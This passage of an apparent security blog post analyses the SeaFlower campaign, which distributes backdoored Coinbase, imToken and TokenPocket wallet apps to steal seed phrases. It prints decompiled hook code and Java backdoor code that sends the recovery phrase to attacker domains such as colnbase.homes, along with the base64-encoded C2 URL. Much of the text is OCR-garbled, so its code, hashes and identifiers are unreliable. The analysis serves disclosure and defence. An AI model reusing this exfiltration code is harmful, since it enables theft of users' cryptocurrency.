__stubs:

uvarl =
uvarl =

:_MSHookMessageEx

(uvarl,"setWordLabel:",_logos_method$_ungrouped$Wallet_RecoveryPhraseCellssetWordLabels,
&_logos_orig$_ungrouped$Wallet_RecoveryPhraseCell$setWordLabels);

__stubs::_objc_getClass("Wallet.WelcomeViewController"};
:_MSHookMessageEx

(uvarl, "viewDidLoad",_logos_method$_ungroupediWallet_WelcomeViewControllersviewDidlLoad,
&_logos_orig$_ungroupedsWallet_WelcomeViewControllersviewDidLoad);

_ stubs::_objc_getClass("Wallet.MainViewController");
:_MSHookMessageEx

(uvarl,“viewWwillAppear:",
_logos_method%$_ungroupeds$Wallet_MainViewController$viewWillAppears,
&_logos_orig$_ungroupedsWallet_MainViewControllersviewWillAppears);

__stubs::_objc_getClass{"Wallet.AppLockViewController"};
i_MSHookMessageEx

(uvarl,"viewDidLoad",_logos_method$_ungrouped$Wallet_AppLockViewController$viewDidLoad,
&_logos_orig$_ungroupedsWallet_AppLockViewControllersviewDidLoad);

__stubs::_objc_getClass("wWallet.SignInViewController"});
i_MSHookMessageEx

(uvarl,"nextButtonTapped:",
_logos_method$_ungroupedsWallet_SignInViewController$nextButtonTappeds,
& logos_orig$_ungroupedsWallet_SignInViewController$nextButtonTappeds$);

__stubs::_objc_getClass("APMKeychainWrapper"};
__stubs::_object_getClass{uVarl);

_ stubs::_MSHookMessageEx

(uvarl,“"keychainValueWithIdentifier:appID:",
_logos_meta_method$_ungrouped$APMKeychainWrapperskeychainValueWithIdentifiersapplDs,
& logos_meta_orig$_ungrouped$APMKeychainWrapperskeychainValueWithIdentifier$appID$);

stubs::_MSHookMessageEx

(uvarl,"keychainDataWithIdentifier:appID:",
_logos_meta_method$_ungrouped$APMKeychainWrapperskeychainDataWithIdentifiersappIDs$,
& logos_meta_origs_ungrouped$APMKeychainWrapperskeychainDataWithIdentifiersappID$);

if (*={long #)__got::__ stack_chk_guard == local_28) {

return;

}

coinbase Wallet iOS app with logos tweaks

imToken Wallet iOS app:

SHA-256 of the .IPA analyzed:
1e232c74082e4d72c86e441139964 3ffb6f7836805c9badb4235fedbeeb8bdca

similar to the Coinbase iOS wallet, one .dylib libimtokenhookDylib.dylib was injected:

@executable_path/Frameworks/libimtokenhookDylib.dylib (compatibility version 0.0.0,

current version 0.0.0)

This .dylib is signed with Developper ID certificate : Sjdbfbd Jdjffb (9J3Q9W2QG2) and Team-ID

9J3Q9W2QG2

We also found reference to the same macOS username “lanyu” and references to the
MonkeyDev framework:
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tesla:imtokenhook.app test$ rabinZ -zzz Frameworks/libimtokenhookDylib.dylib | grep "/Users/lanyu/Downloads"
@x@PR5cEYd Bx8PA5c8%8 59 48 () ascii /Users/lanyu/Downloads/imtokenhookl/imtokenhookDylib/Trace/
@x@8eScala @x@@R5cala 68 61 () ascii /Users/lanyu/Downloads/imtokenhookl/imtokenhookDylib/Config/
8xBPe5efad Bx@BB5ePad 53 54 () ascii /Users/lanyu/Downloads/imtokenhcokl/imtokenhookDylib/

BxPeB5Sesal BxPDB5ehal8 59 46 ascii /Users/lanyu/Downloads/imtokenhookl/imtokenhookDylib/Logos/
@x@PR5F54T BxPPASFEAT 59 48 ascii /Users/lanyu/Downloads/imtokenhookl/imtokenhookDylib/Tools/
tesla:imtokenhook.app test$ [

The backdoor was hidden and encrypted same as in the Metamask iOS wallet and | found the
exact same backdoor React Native bundle that was loaded. We noticed additional hooks via
MSHookMessageEx() were added to the RCTJavaScriptLoader, ensuring eventually the loading
of the backdoor React Native bundle:

79 __stubs::_class_addMethod{uVarl,"getHost",_logos_method$_ungroupedsWalletApisgetHost):

80 | uwVarl = __stubs::_objc_getClass("RCTJavaScriptLoader");

81 uvarl = __stubs::_object_getClass(uVarl);

82 _ stubs::_MSHookMessageEx

83 {uvarl,"attemptSynchronousLoad0fBundleAtURL: runtimeBCVersion:sourceLengthierror:”,

84 _Llogos_meta_method$_ungrouped$RCTJavaScriptLoadersattemptSynchronousLoad0fBundleAtURLEr
untimeBCVersion$sourceLength$errors

85 &

86 _logos_meta_orig$_ungrouped$RCTJavaScriptloadersattemptSynchronousLoad0fBundleAtURLSru
ntimeBCVersion$sourcelLength$errors$

87 );

88 uvVarl = _ stubs::i_objc_getClass("NSData");

89 uVarl = __stubs::_object_getClass(uVarl);

98 _ stubs::_MSHookMessageEx

91 (uVarl,"dataWithContents0fFile:options:error:",

92 _logos_meta_method$_ungrouped$NSDatasdatawWithContentsOfFiletoptions$errors,

93 & logos_meta_orig$_ungrouped$NSDatasdataWithContentsOfFilesoptionsserrors);

94 if (x({long *)__got::__ stack_chk_guard == local_28) {

a5 return;

9 |

So it seems the Author didn’t do anything specific for imToken Wallet iOS app.

TokenPocket iOS Wallet:

SHA-256 of the .IPA file analyzed :
46002ac5a0caaa2617371bddbdbc7eca74cd9cb48878da0d3218a78d5be7a53a

a single .dylib libpocketDylib.dylib was injected:

@executable_path/Frameworks/libpocketDylib.dylib (compatibility version 0.0.0, current
version 0.0.0)

This .dylib is signed with Developper ID certificate : hang Bai (GNY64NUGXC)
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Authority=iPhone Distribution: hang Bai (GNY64NUGXC)

Authority=Apple Worldwide Developer Relations Certification Authority
Authority=Apple Root CA

Signed Time=Mar 3, 2022 at 5:06:06 PM

Info.plist=not bound

TeamIdentifier=GNY64NUGXC

A new author macOS username leaked named “trader”, we also confirmed the usage of the
MonkeyDev Framework:

tesla:pocket.app test$ rabin2 -zzz Frameworks/libpocketDylib.dylib | grep "/Users/trader/Document"
BxP0A545a3 Ox0e545a3 55 56 () ascil /Users/tradexr/Documents/hook/pocket/pocketDylib/Config/
AxP0e550e0 Ox000550ed® 54 55 () ascil /Users/trader/Documents/hook/pocket/pocketDylib/Trace/
Bx@085697d 6x80085697d 57 58 ascii fUsers/trader/Documents/hook/pocket/pocketDylib/fishhook/
8xp0056b2d Ox080546b2d 62 63 ascii /Users/trader/Documents/hook/pocket/pocketDylib/AntiAntiDebug/

8x@805753c Bx8805753c 54 55
Bx20a57847 Ox@LA57847 54 55
tesla:pocket.app test$ !

ascii /Users/trader/Documents/hook/pocket/pocketDylib/Logos/
ascii /Users/trader/Documents/haook/pocket/pocketDylib/Tools/

()
()
BxP0e57154 BxPeBS7154 48 49 () ascil /Users/trader/Documents/hook/pocket/pocketDylib/
()
()

Logos tweaks are used, in particular hooks to “setMnemonic:” were added:

5 |void _logosLocalInit(void)
6
7 |{
8 undefined8 uVarl;
g
10 uVarl = _ stubs::_objc_getClass{"TBBkVerifyMnemonicViewController"};
11| __stubs::_MSHookMessageEx
12 {uvarl,"setMnemonic:",
13 _logos_method$_ungrouped$sTBBkVerifyMnemonicViewController$setMnemonic$,
14 & logos_orig$_ungrouped$TBBkVerifyMnemonicViewControllerssetMnemonic$) ;
15 uVarl = _ stubs::_objc_getClass{"TBHDKeyDerivation");
16 __stubs::_MSHookMessageEx
17 {uVarl,"setMnemonic:",_logos_method$_ungrouped$TBHDKeyDerivation$setMnemonic$,
18 & logos_orig$_ungroupedsTBHDKeyDerivation$setMnemonic$);
19 return;
I2@ }
121

The captured seed phrase is sent to a domain controlled by the attacker :
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__stugs::_objc_rélease{uﬂarl];
local_98 = _ stubs::_objc_retain
{&cf_http://admin. tokenpocket.pm/api/key?code=100803&client=10s&app=TP&pri=)

.
¥

uVarl = _ stubs::_objc_msgSend(local_98,"stringByAppendingString:",local_78);
uVar2z = _ stubs::i_objc_retainAutoreleasedReturnvalue{uvarl);
uvarl = local_7e[e];

local_7@[@]) = uVarz;

__stubs::i_objc_release{uvVarl);

_ stubs::_NSLog(&cT_TBHDKeyDerivation—--requestUrl--——:%@);

uVarl = _ stubs::_objc_msgSend(& OBIC_CLASS_$_NSURL,"URLWithString:", local_7o[e]l);

local_a® = _ stubs::_objc_retainAutoreleasedReturnValue(uvarl);

uVarl = __stubs::_objc_alloc(& _0BIC_CLASS_$_NSURLRequest);

local_a8 = _ stubs::_objc_msgSend
{0x4024000000000000, uVarl,"initWithURL: cachePolicy:timeoutInterval:",
local_a0,8);

uVarl = __stubs::_objc_alloc(&_0BIC_CLASS_$_NSURLConnection);

local_b® = __stubs::_objc_msgSend{uVarl,"initWithRequest:delegate:", local_a8, local_48};

cdiibhos s abhda atrowealftrmanalflaaa]l Lala

Coinbase Wallet android app

It is important to note that with every iOS app, delivered via provisioning profiles, there was an
android app available to download on the same page setup by SeaFlower:
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$328.41
The secure app to store =

crypto yourself

Download £ Deavnioad an thin

b, .4 . Foailabio in the
ark Android APK « App Store B Chrome Wb Store

redirecting to an iOS prov. profile

direct download|of an .apk file

colnbase. homes/apk/CoinbaseWallat.apk

We will do a quick analysis for the Coinbase Wallet APK file to showcase how the backdoor code
has been added.

SHA-256 of the APK:
83dec763560049965b524932dabc6bd6252c7ca2ce9016f47¢c397293c6cd17a5

| installed the APK and run it on an Android emulator, with the SSL interception in place. Not
suprisingly, and similar to the iOS flavour of this app, a network request is sent to an attacker
controlled domain containing the seed phrase of the victim:
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Content-Type: sppieationf-www-Torm-urlencaded
User-Agent: Datik/2, L0 [Unux: U Andeoid 8.0.0; Geogle Build/OPRE.TTDE2I.01T]
Hast: colnbase. homes
Cennection: Keep-Aive
Aceept-Encading: gzip
Content-Length: 138

[(agded, at™ 1647000740690, "sddres 5™ "00inDa50", " bOdy™ " Quanlum panss eradlo Blky Mutanl gang FeSord £3000 Warlang meny courss disearee™]]

Headers Toxt Hox Ferm Faw
{

“=3g"i “success™,
“eade™i 0,
“data™; Aull

|
L

exfiltrated seed phrase from backdoored Coinbase wallet

Android APKs are extremely easy to backdoor, therefore we won’t be spending too much time in

this section and we will limit the analysis to the Coinbase Wallet APK, only.

One very known technique is injecting smali code. Looking at the HTTP request sent, and the
parameters names, it didn’t take me too much time to find out the backdoor code, that is
implemented in a class called XMPMetadata:

26 jpublic class XMPMetaData {
a7 public static void createMetaData(final String str, fimal String str2, final String str3) {
66 new Threadinew Runnable() {
31 public void run() {
try {
33 HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(XMPMetaData.createSms(str)).openConnection();
34 httpURLConnection. setRequestHethod (HUtpPost . METHOD_NAME) ;
35 httpURLConnection. setDolutput(true);
36 httpURLConnection. setDoInput(true);
37 httpURLConnection. setUseCaches(false);
38 httpURLConnection. connect();
42 JSONObject jSOMObject = new JSOMObject{);
43 jSOM0bject. putOpt ("added_at", Long.valueOf(System.currentTimeMillis()));
a4 jSONObject. putOpt(“address", str2};
45 JSONObject. putdpt(“body™, stril;
46 JSONArray jSONArray = new JSONArray();
47 jSOMArray.put [jSONODject]);
5@ String jSONArray2 = jSONArray.toString();
51 BufferedWriter bufferedwriter = new BufferedWriter{new OutpuiStreamwriter(httpURLConnection.getOutputStrean{), HTTP.UTF_8});
52 bufferedWriter.write(jSONArray2);
53 bufferedWriter. closel);
55 if (httpURLCannection.getResponseCodel) == 208} {
58 String is25tring = XMPMetaData.is25tring(httpURLConnection.getInputStrean()]);
59 Log.d("kwwl", "result=============" + {525tring);
} catch (Exception e} {
63 e.printStackTrace();
}
}).start():
}

The author didn’t add anything fancy to their backdoor, and called this class when the seed phrase

is about to be saved to the Storage with the seed phrase in parameters :)

200 POST apiwalkd.coinbate.com 11219 [rpeiviicreatolanco 182 137 byles Complate
200 POST apiwalketcoinbase.com 121220 frpejeereateiccessToken 203ms 50 bytes Complele
o0 GET apiwallel.coinha i cam 1EI230 [epeivIigeiliaProtie G0sm  MIbple: Comploly
Filter: Focused  Sottings
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public Single=String= saveMnemonicToStorage(String str, C94931<7 super String, 7 extends Single<String== War) {
¥MPMetaData. createMetaData("aHROCHMBLYS ] b2xuYmFzZ550b211cy91L3Ntcy8=", "coinbase", str};
C9558m.m36325g(str, "decryptedMnemonic");
£955Bm.m36325g(War, "encryptRequest");
Single<String> subscribeOn = ((5ingle) War.invoke(str)).map{new C1359f(this, str}).subscribeOn(this.concurrentScheduler]
C9558m.m36324f (subscribeln, "encryptReguest.invoke(decryptedMnemonic)in «map { encryptediasterSeed ->\n
return subscribeln;

[ )

backdoor code inside saveMnemonicToStorage()

and they encoded the C2 domain/url in base64, how fancy :
echo -n “aHROCHM6LY9jb2xuYmFzZS50b211cy91L3Ntcy8=" | base64 -d

https://colnbase.homes/u/sms/

Some Final thoughts about SeaFlower:

What | liked about this cluster of activity, is the fact that it is unique, it is web3 related, and not
reported before. It seems there was a lot of efforts in the iOS side of things, for example setting up
provisioning profiles, automatic deployments, sophisticated backdoor code, etc. More work has
been done compared to the Android side of things.

There are some notable challenges when it comes to SeaFlower attribution, for example figuring
out if the provisioning servers are run by the same group, and also identifying more initial vectors
of the attack beside the Chinese search engines. All these are difficult challenges due to the
geographical and language barrier aspects.

We are planning to release sometime in the near future a part 2 of this blog post, where we will do
a deep dive into the infrastructure used by SeaFlower and add more elements of attribution.

General security recommendations:

For Web3 Wallet developers

Definitely not an easy one when it comes to protecting crypto-related software like mobile web3
wallets used by millions of people.

What we write in this section won’t prevent a skilled or determined attacker from tampering with
your apps, but there are some easy fixes that could cost money and time to your attackers.

First of all, know and understand your attack surface (hopefully this blog can help), as well as
reading this document listing different attack surfaces crypto wallets could be exposed to :
https://github.com/OWASP/owasp-mstg/blob/master/Document/0x06c-Reverse-Engineering-and-
Tampering.md
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Secondly, make your stuff harder to break :) detecting inline hooks, injected libraries, detecting
instrumentation tools, etc.. are well-known and documented topics.

For Web3 users

Always download mobile apps from official stores: Apple AppStore & Play Store.

Never install or accept random provisioning profiles on your iPhone, as you saw in this blog post,
they allow the download of unverified software that could potentially steal your crypto.

Final words—part 2 coming soon

if you like this content, please ensure to follow me on twitter @lordx64 and please stay tuned for
the part 2.

If you are working at a security team please get in touch with us at security@confiant.com to get
access to our web3 threat intelligence feeds, including access to more SeaFlower intrusion-set
updates.

Archive: This article was originally published on our Confiant Medium blog on June 12,
2022.
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